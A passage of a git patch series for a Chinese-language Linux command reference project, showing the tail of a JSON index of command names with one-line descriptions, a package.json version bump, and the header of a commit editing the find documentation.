s-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量 "},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示Linux中的任务列表及任务状态"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"删除执行中的程序或工作"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"用来显示用户名称"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件。"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称。"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"在Linux系统中计算文件内容行号"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版。"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"用于删除目录栈中的记录"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中。"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录加入命令堆叠中"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器。"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"绝对路径方式显示用户当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"定义只读shell变量或函数"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小。"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"运程执行Linux系统下命令 "},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序。"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"将文件进行排序并输出"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令，命令返回退出状态。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息。"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"将文件以行为单位的反序输出"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出。"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"Linux下的归档使用工具，用来打包和备份。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器。"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"把数据重定向到给定文件和屏幕上"},"telint":{"n":"telint","p":"/telint","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"shell环境中测试条件表达式工具"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权。"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"指定在接收到信号后将要采取的动作"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名。"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"用来设置限制新建文件权限的掩码"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"显示Linux系统信息"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"报告或忽略文件中的重复行"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"显示当前登录系统的所有用户"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序。"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件。"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机。"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称。"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示目前登录系统的用户信息"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具。"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file diff --git a/package.json b/package.json index 14672d6c2a6..e4b60a28cc0 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.2.6", + "version": "1.2.7", "description": "Linux Command", "main": "dist/data.json", "scripts": { From 28d0fa37e25b2245ad611bfc33e9517e34b44716 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Wed, 15 May 2019 22:19:07 +0800 Subject: [PATCH 0032/1019] =?UTF-8?q?=E4=BF=AE=E6=94=B9find=E7=A4=BA?= =?UTF-8?q?=E4=BE=8B=20(#106)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * 修改107行的g全局作用 g不应该是匹配每一行的第一个匹配项，而是每一行的所有匹配项 * 增加修改用户家目录的选项以及实例 增加修改用户家目录的选项以及实例 * 添加fping新命令 * Update fping.md * updat find.md --- command/find.md | 2 +- 1 file changed, 